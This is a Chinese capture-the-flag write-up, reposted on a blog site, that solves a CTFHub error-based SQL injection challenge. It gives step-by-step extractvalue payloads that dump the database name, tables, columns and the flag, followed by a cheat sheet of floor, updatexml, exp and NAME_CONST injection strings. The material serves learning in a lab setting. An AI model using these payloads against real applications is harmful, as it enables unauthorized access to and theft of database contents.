CTFHub | 报错注入

news2024/12/21 16:56:26

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

报错注入:

        (无)

网页显示内容

        

        

0x02 解题过程

        因为报错注入的语句比较多,测试了几个语句发现 extractvalue 语句存在 SQL 报错注入漏洞,得到数据库名称 sqli 后,查询数据库表名,发现一个可疑表名 flag 。检查这个 flag 表中的列,发现一个列名为 flag ,查询数据发现此题 flag 。发现数据不完整,使用 mid 函数进行查询从字符 2 开始得到完整数据。

        

查询数据库名称

and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

        

查询当前数据库sqli的表名,发现有一个表名为flag比较可疑

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--+

        

查询当前表flag,发现有一个列为flag

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+

         

查询flag列名中的数据发现此题flag,但是发现flag不完整

and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+

        

使用mid函数跳过第一个字符c,提取剩下的全部字符

and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--+

        

        

0x03 报错注入

注入语句解析:

查询数据库:and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

#extractvalue 注入语句,database() 数据库

查询表名:and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--+

#table 表,schema 元数据的一个抽象集合

查询列名:and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+

查询数据:and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+

提取字符:and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--+

mid 函数使用方法:

参数描述
column_name必需。要提取字符的字段。
start必需。规定开始位置(起始值是 1)。
length可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

payload:mid((select flag from flag),column_name,start,length

常用注入语句:

1.floor()报错注入

union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

2.extractvalue()报错注入

and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

3.updatexml()报错注入

and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

4.exp()报错注入

nion select (exp(~(select * FROM(SELECT USER())a))),2,3--+

5.NAME_CONST()

union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

        

        

0x04 参考文献

[1].郁离歌. SQL注入之报错注入的一些随笔[EB/OL]. [2022-10-28]. https://blog.csdn.net/like98k/article/details/79646512.

[2].Dar1in9. sql注入之报错注入[EB/OL]. [2022-10-28]. https://blog.csdn.net/silence1_/article/details/90812612.

[3].w3school. SQL MID() 函数[EB/OL]. [2022-10-28]. https://www.w3school.com.cn/sql/sql_func_mid.asp.

        

        

0x05 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1442.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

第二站:分支与循环(第二幕)

目录 三、循环 1.while循环 (1)基本原理与用法 (2)break在while循环中的作用 (3)continue在while循环中的作用 (4)一图总结while循环 2.for循环 (1)基…

[SpringBoot] 多模块统一返回格式带分页信息

✨✨个人主页:沫洺的主页 📚📚系列专栏: 📖 JavaWeb专栏📖 JavaSE专栏 📖 Java基础专栏📖vue3专栏 📖MyBatis专栏📖Spring专栏📖SpringMVC专栏📖SpringBoot专…

算法刷题路线总结与相关资料分享

算法刷题路线总结与相关资料分享前言一、算法刷题路线总结二、算法题刷题步骤三、基础数据结构与算法知识1、时间复杂度2、空间复杂度3、线性表4、栈与队列5、树四、算法学习相关资料推荐1.数据结构与算法基础2.专项刷题路线资料3.算法课程视频资料后记前言 本文为算法刷题路线…

双十一数码产品哪些值得买?双十一好物产品分享

双十一必然是数码产品最值得买的,因为这类产品的优惠力度往往是最大的,所以每年的双十一都是升级数码设备的好时机,今天为大家带来的是便是个人推荐的双十一数码好物。好了,废话不再多说,我们开车吧。 一、不伤耳的骨…

postman 实用教程(含带 token 访问需登录权限的接口)

下载安装 Postman 访问官网下载安装 Postman https://www.postman.com/downloads/?utm_sourcepostman-home 新建文档 右键菜单可以重命名 新建接口 选择接口类型输入接口若传入参数格式为 json ,则选择 Body 中的 raw 和 JSON输入传入的参数(json格式&a…

计算机网络--数据链路层

今天来讲网络协议栈的最后一层,数据链路层(物理层我们不考虑了),我们之前学到,TCP协议提供了数据传输的可靠性,IP层决定数据报从哪到哪,那么数据报是如何从一个结点到下一个结点呢?得到相应如何返回呢&…

(02)Cartographer源码无死角解析-(09) gflags与glog简介、及其main函数讲解

本人讲解关于slam一系列文章汇总链接:史上最全slam从零开始,针对于本栏目讲解(02)Cartographer源码无死角解析-接如下: (02)Cartographer源码无死角解析- (00)目录_最新无死角讲解:https://blog.csdn.net/weixin_43013761/article/details/127350885 文…

软件工程结构化设计

目录 结构化分析与结构化设计的关系: 体系结构设计概念: 图形工具: 层次图:调用关系​编辑 HIPO图:层次图IPO图 软件结构图: 软件设计原则: 模块化: 模块划分注意事项&#xf…

巴什博弈——范围拿物品问题

巴什博弈 巴什博弈(Bash game) 是一个双人博弈:有一堆总数为n的物品,2名玩家轮流从中拿取物品。每次至少拿1件,至多拿m件,不能不拿,最终将物品拿完者获胜。 巴什博弈除了两人轮流按一定数量拿物…

【黄啊码】MySQL入门—14、细说数据库的MVCC机制

大家好,我是黄啊码。上一篇文章中,我们讲到了锁的划分,以及乐观锁和悲观锁的思想。今天我们就来看下 MVCC,它就是采用乐观锁思想的一种方式。那么它到底有什么用呢? 我们知道事务有 4 个隔离级别,以及可能…

共谋韬略、共巢未来,电巢与韬略“战略合作签约仪式”圆满举办!

前言 2022年10月27日下午,电巢科技与韬略科技齐聚深圳南山,共同举办了隆重的战略合作签约仪式,双方就整合核心资源、共同打造高质量数字化内容等战略方针达成了一致,携手开启合作新篇章。 电巢科技和韬略科技基于相契合的发展战略…

Numpy基础教程

1 Numpy 对象2 Numpy创建numpy.array 构造器来创建numpy.emptynumpy.zerosnumpy.onesnumpy.arangeNumpy索引3 Numpy常用操作numpy.reshapenumpy.reshape(arr,newshape,order C)numpy.transposenumpy.expand_dimsnumpy.squeezeNumpy功能十分强大的python扩展库,数学…

基于Java+Springboot+Vue+elememt美食论坛平台设计实现

博主介绍:✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取联系🍅精彩专栏推荐订阅👇&#x1f…

07-树(Tree)结构分析

文章目录树(Tree)结构分析什么是树?树中的相关名词如何理解?什么是二叉树?什么是二叉搜索树?什么是AVL树?什么是2-3树?什么是红黑树?总结(Summary)树(Tree)结构分析 什么…

【飞桨PaddleSpeech语音技术课程】— 语音识别-流式服务

FastAPI websocket 流式语音识别服务 0. 背景 流式语音识别(Streaming ASR)或者在线语音识别(Online ASR) 是随着输入语音的数据不断增加,实时给出语音识别的文本结果。与之相对的是非实时或者离线语音识别,是传入完整的音频数据,一次给出整…

ppocrlabel简单教学

前言 给我们小白成员的快速上手ppocrlabel的指南 1. ppocr环境配置 建议是先创建一个虚拟环境 【直接参考】:https://blog.csdn.net/weixin_42708301/article/details/119864744 2. ppocrlabel环境安装 【参考文档】PaddleOCR-release-2.6\PPOCRLabel\README_c…

将STM32 内部Flash虚拟成优盘,进行IAP升级

书接上回,上篇文章已经成功的将 STM32 内部FLASH虚拟成优盘进行文件存储了。 【将 STM32 内部Flash虚拟成优盘】https://blog.csdn.net/qq_44810226/article/details/127508789 然后我们开始固件升级流程: 从上图可以看出,固件存储的位置是不…

Python-代码封装思想

继上文所将讲的pythonrequestsUnittest框架,本文将继续分享python代码的进一步封装思想,来提高代码的整体运行效率及整洁性,本文以接口测试框架为例进行讲解。 关于Unittest单元测试框架的具体使用方法链接链接(点击跳转&#xf…

MMEngine理解

MMEngine理解1 简介1.1 架构1.2 模块介绍1.2.1 核心模块与相关组件1.2.1 公共基础模块2 上手示例2.1 构建模型2.2 构建数据集和数据加载器2.3 构建评测指标2.4 构建执行器并执行任务3. 基础模块3.1 注册器(Registry)3.1.1 什么是注册器3.1.2 使用流程3.1…

OSPF路由协议(二)

作者介绍: ⭐️作者:小刘在C站 ❄️每天分享课堂笔记,一起努力,共赴美好人生! ☁️夕阳下,是最美的绽放。 目录 一.Router id 二.DR,BDR 三.DR BDR 选举过程 四.ospf 度量值 cost 代价 五.ospf 的数据…